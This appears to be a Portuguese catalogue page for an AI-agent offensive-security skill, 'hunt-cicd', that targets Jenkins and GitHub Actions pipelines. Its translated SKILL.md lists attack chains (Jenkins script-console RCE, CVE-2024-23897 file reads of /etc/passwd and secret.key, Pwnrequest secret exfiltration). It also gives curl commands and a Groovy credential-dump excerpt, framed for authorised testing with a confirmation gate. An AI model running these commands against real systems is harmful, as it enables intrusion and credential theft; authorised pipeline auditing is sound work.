hunt-cicd
Permite ao agente encontrar vulnerabilidades em processos de integração e entrega contínua. Ajuda a proteger o fluxo de desenvolvimento de software.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em sistemas de integração e entrega contínua (CI/CD), como Jenkins e GitHub Actions. Ela procura por maneiras de acessar informações sensíveis ou controlar esses sistemas indevidamente.
Quando usar
- ✓Ao auditar a segurança de um servidor Jenkins.
- ✓Ao verificar a segurança de fluxos de trabalho do GitHub Actions.
- ✓Para entender riscos em pipelines de CI/CD.
Exemplo do que pedir para a IA
“Procure por vulnerabilidades no Jenkins no endereço 'exemplo.com'”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta interagir com sistemas de CI/CD para identificar configurações perigosas ou falhas conhecidas. Ela verifica se é possível executar comandos sem permissão ou ler arquivos sensíveis.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-cicdOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-cicd/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-CICD — Segurança de Pipeline CI/CD
Alvos de Joias da Coroa
Console Jenkins /script alcançável = RCE imediata. Um fluxo de trabalho GitHub Actions pull_request_target (ou workflow_run) que faz checkout do ref da cabeça do PR e referencia ${{ github.event.* }} não confiáveis em um shell run: = "Pwnrequest" → exfiltração de segredos de um PR de fork com zero aprovação.
Descobertas de maior valor:
- Console de Script Jenkins — Execução Groovy → RCE completa → despejo do armazenamento de credenciais
- Leitura de arquivo Jenkins CLI (CVE-2024-23897) — Expansão de argumento
@/etc/passwdpré-autenticação → leitura desecret.key/credentials.xml→ forjar admin → RCE - Injeção
pull_request_targetGitHub Actions (Pwnrequest) — PR de fork controla${{ }}dentro de uma etapa de shell privilegiada → exfiltração deGITHUB_TOKEN(frequentementecontents:write) e segredos de organização - Envenenamento de runner auto-hospedado — runner não efêmero em um repositório público executa a compilação de um PR de fork → código do atacante é executado no host do runner → persistência + roubo de segredos
- Abuso de política de confiança OIDC — wildcard de declaração
subexcessivamente ampla em uma política de confiança de role AWS IAM → qualquer fluxo de trabalho na organização assume uma role de nuvem privilegiada - Vazamento de estado Terraform —
*.tfstateem S3/GCS/Blob públicos → credenciais de infraestrutura em texto plano, senhas de banco de dados, chaves privadas - Vazamento de token de runner / artefato / log — registrar runner de atacante, ou coletar segredos impressos antes de
::add-mask::
Portão "Não Aconteceu Sem Prova" (Leia Primeiro)
Descobertas de CI/CD são super-relatadas porque os dashboards parecem exploráveis. Antes de afirmar qualquer coisa:
- Uma página de login não é uma RCE. Um URL
/scriptalcançável que retorna um login Jenkins ou403não é um console de script não autenticado. Apenas um POST realscriptTextretornando a saída do seu comando conta. - Um fluxo de trabalho
pull_request_targetnão é automaticamente injetável. Ele só é explorável se dados não confiáveis fluírem para um sumidouro de execução. Confirme o fluxo de dados (veja seção FP) antes de abrir um PR. - Injeção cega requer OOB. Se a etapa vulnerável não tiver saída que você possa ler, você DEVE confirmar via Burp Collaborator / interactsh — um subdomínio único por sumidouro para o qual o runner faz uma chamada. Um fluxo de trabalho que "rodou verde" não é prova de que seu código foi executado.
- Um
.tfstateHTTP 200 não é exposição de credenciais até que você o analise. Compare com uma linha de base (veja seção FP) — muitos arquivostfstatecontêm apenas IDs de recursos e saídas, sem segredos.
Fase 1 — Jenkins: Detecção, Console de Script, CVE-2024-23897
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
Console de script não autenticado → RCE (apenas se o POST retornar saída):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
Despejar o armazenamento de credenciais (Groovy descriptografa segredos que a UI mascara):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
…
Perguntas frequentes
O que é CI/CD?
CI/CD significa Integração Contínua e Entrega Contínua. São práticas usadas para automatizar a construção, teste e implantação de software. Pense nisso como uma linha de montagem para o código.
O que é RCE?
RCE significa Execução Remota de Código. É uma falha de segurança grave que permite a um invasor executar comandos no sistema de outra pessoa.
Por que preciso de permissão para usar esta ferramenta?
Esta ferramenta pode ser usada para encontrar falhas de segurança. Usá-la sem permissão em sistemas que não são seus é ilegal e antiético. É como usar uma chave mestra sem autorização.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3248
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC